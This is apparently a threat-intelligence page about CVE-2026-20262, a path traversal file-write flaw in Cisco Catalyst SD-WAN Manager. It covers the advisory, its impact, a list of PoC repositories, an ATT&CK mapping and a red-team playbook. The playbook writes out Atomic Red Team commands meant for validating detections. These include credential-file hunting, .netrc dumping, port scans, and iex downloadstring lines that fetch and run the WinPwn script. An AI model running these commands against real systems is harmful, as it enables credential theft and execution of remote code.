CVE-2026-20262

MEDIUM CISA KEV POC Pub 15/06 Upd 17/06

Overview

This vulnerability is a path traversal flaw (CWE-22) in the file upload functionality of Cisco Catalyst SD-WAN Manager's web UI. The root cause is improper validation of user-supplied input during the file upload process, allowing crafted input to manipulate file paths. The affected component is the API endpoint handling file uploads within the web management interface.

Vulnerability Description

A vulnerability in the web UI of Cisco Catalyst SD-WAN Manager, formerly SD-WAN vManage, could allow an authenticated, remote attacker to create a file or overwrite any file on the filesystem of an affected system. This vulnerability exists because the affected software does not properly validate user-supplied input during a file upload process. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected API endpoint of the affected system. A successful exploit could allow the attacker to create or overwrite any file on the underlying operating system. This file could later be used to elevate to root. To exploit this vulnerability, the attacker must have valid credentials with at least a lower-privileged, single-task user account.

Impact

An attacker with valid low-privileged credentials can create or overwrite arbitrary files on the system hosting Cisco Catalyst SD-WAN Manager. This capability may allow the attacker to implant malicious files that could be leveraged for privilege escalation to root access. The consequence includes potential full system compromise, unauthorized data manipulation, and lateral movement within the network environment. Exploitation requires authentication, but no user interaction beyond that.

Solution

Cisco has released a security advisory (cisco-sa-sdwan-arbfw-c2rZvQ) addressing this issue in Cisco Catalyst SD-WAN Manager. Administrators should apply the updates provided in this advisory to affected versions as soon as possible. Detailed patch instructions and version-specific fixes are available at Cisco's Security Advisory portal linked in the reference. No alternative workarounds are specified.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in the web UI of Cisco Catalyst SD-WAN Manager stems from inadequate validation of user-supplied input during the file upload process. This flaw allows an authenticated attacker to craft a malicious HTTP request targeting specific API endpoints within the system. By exploiting this weakness, the attacker can create or overwrite files on the underlying operating system, which poses significant risks. The lack of stringent input validation means that the system does not effectively check the integrity or legitimacy of the files being uploaded, allowing for potential manipulation of critical system files.

Attack vectors for this vulnerability primarily involve authenticated users with lower-privileged accounts. An attacker who has gained access to such an account can leverage this flaw to send specially crafted requests that exploit the file upload mechanism. For instance, an attacker could upload a malicious script or binary that, once executed, could provide a pathway for privilege escalation to root. This could lead to further exploitation, including the installation of backdoors, data exfiltration, or complete system compromise. The requirement for valid credentials does not significantly mitigate the risk, as attackers may use social engineering or phishing techniques to obtain these credentials.

The real-world impact of this vulnerability is substantial, particularly for organizations relying on Cisco's SD-WAN solutions for their network management. Successful exploitation could lead to unauthorized access to sensitive data, disruption of services, and potential regulatory repercussions if data breaches occur. The ability to overwrite critical files could also result in system instability or downtime, which can have cascading effects on business operations. Furthermore, the presence of such vulnerabilities can damage an organization's reputation, eroding customer trust and leading to financial losses.

Detection and mitigation strategies for this vulnerability should focus on both proactive and reactive measures. Organizations should implement robust monitoring solutions that can detect unusual file upload activities or unauthorized access attempts. Regular security audits and vulnerability assessments can help identify and remediate weaknesses in the system before they can be exploited. Additionally, applying the principle of least privilege is crucial; ensuring that users only have the necessary permissions to perform their tasks can limit the potential impact of such vulnerabilities. Keeping the software up to date with the latest security patches is also essential in mitigating risks associated with known vulnerabilities.

In conclusion, the vulnerability in the web UI of Cisco Catalyst SD-WAN Manager highlights the critical importance of input validation in web applications. The potential for exploitation by authenticated users poses significant risks to organizations, making it imperative for businesses to adopt comprehensive security practices. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can better prepare themselves to defend against such threats and safeguard their systems and data.




CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2026-20262, with a recent emergence of multiple new sightings indicating increased targeting attempts against Cisco Catalyst SD-WAN Manager systems. This development coincides with the vulnerability’s addition to the CISA Known Exploited Vulnerabilities (KEV) catalog, underscoring its growing prominence in the threat landscape and the prioritization of remediation efforts by federal agencies. The assignment of a CVSS score of 6.5 further formalizes the medium severity risk, reflecting the potential impact of unauthorized file creation or overwriting on affected systems. Although no public exploit code or ransomware linkage has yet been identified, the sharp uptick in detection activity signals heightened adversary interest, which could presage active exploitation attempts. For defenders, this shift elevates the urgency to monitor for exploitation indicators and reassess exposure, as the vulnerability’s exploitation could facilitate persistent compromise or disruption within critical network infrastructure. Consequently, the threat level should be considered elevated from a latent to an active risk, warranting increased vigilance despite the current absence of confirmed exploit campaigns.



Update 2 — June 23, 2026

CSURFACE threat intelligence has identified a marked escalation in exploitation activity targeting CVE-2026-20262, evidenced by a substantial increase in detection frequency and the emergence of new proof-of-concept exploits publicly available on GitHub. This development signifies a broadening of the exploit landscape, lowering the barrier for threat actors to weaponize this vulnerability. The increase in EPSS score further corroborates the growing likelihood of exploitation attempts in operational environments. For defenders, this shift underscores an elevated risk posture, as the availability of exploit code combined with heightened adversary interest increases the probability of active attacks aimed at arbitrary file creation or overwriting within Cisco Catalyst SD-WAN Manager deployments. Consequently, the threat level associated with this vulnerability has transitioned from latent to actively exploitable, warranting intensified monitoring and prioritization in defensive strategies.



Update 3 — July 08, 2026

CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2026-20262, as evidenced by a significant uptick in detection activity and a substantial rise in the Exploit Prediction Scoring System (EPSS) score. This surge coincides with the recent inclusion of this vulnerability in the Known Exploited Vulnerabilities (KEV) catalog, which has likely elevated attacker focus and operational urgency. Additionally, new proof-of-concept exploits have emerged publicly, lowering the barrier for threat actors to weaponize this vulnerability. The convergence of increased telemetry signals, elevated EPSS percentile ranking, and accessible exploit code indicates a transition from theoretical risk to active exploitation in the wild. For defenders, this evolution necessitates heightened vigilance and prioritization of monitoring efforts around Cisco Catalyst SD-WAN Manager environments, as adversaries are now more capable and motivated to leverage the arbitrary file write flaw for persistence or lateral movement. Consequently, the threat level associated with CVE-2026-20262 has escalated from medium to a more pronounced operational risk, reflecting its growing prominence in attacker toolkits and exploitation campaigns.

Affected Products (1)

Vendor Product Version CPE
cisco Cisco Catalyst Sd-Wan Manager All cpe:2.3:a:cisco:catalyst_sd-wan_manager:*:*:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

GitHub PoCs (2)

Repository Author Stars Forks Date Link
fevar54/CVE-2026-20262-Cisco-Catalyst-SD-WAN-Manager-Arbitrary-File-Write-
CVE-2026-20262 - Cisco Catalyst SD-WAN Manager Arbitrary File Write Path Traversal Vulnerability (CWE-22) - Authenticate...
fevar54 1 0 2026-06-17 View
HORKimhab/CVE-2026-20262
CVE-2026-20262 - Draft
HORKimhab 0 0 2026-06-16 View
Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

25 events
2026-07-10
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-09
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-08
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-07
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-04
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-03
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-02
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-01
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-29
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-06-28
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-27
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-06-26
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-25
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-22
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-21
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-20
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-18
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-17
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-06-16
Threat Sensor Sighting — Considerable activity

Sighting activity recorded

2026-06-16
PoC Published (2 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

2026-06-15
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-06-15
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Path Traversal
100% path_traversal
File Upload Vulnerabilities
59% file_upload

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-126 Path Traversal
43%
High Very High
CAPEC-79 Using Slashes in Alternate Encoding
40%
High High
CAPEC-78 Using Escaped Slashes in Alternate Encoding
35%
High High
CAPEC-64 Using Slashes and URL Encoding Combined to Bypass Validation Logic
34%
High High
CAPEC-76 Manipulating Web Input to File System Calls
32%
High Very High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2026-20262
sec.cloudapps.cisco.com
GitHub CVE
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-arbfw-c2rZvQ
cisa.gov
NVD API
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-20262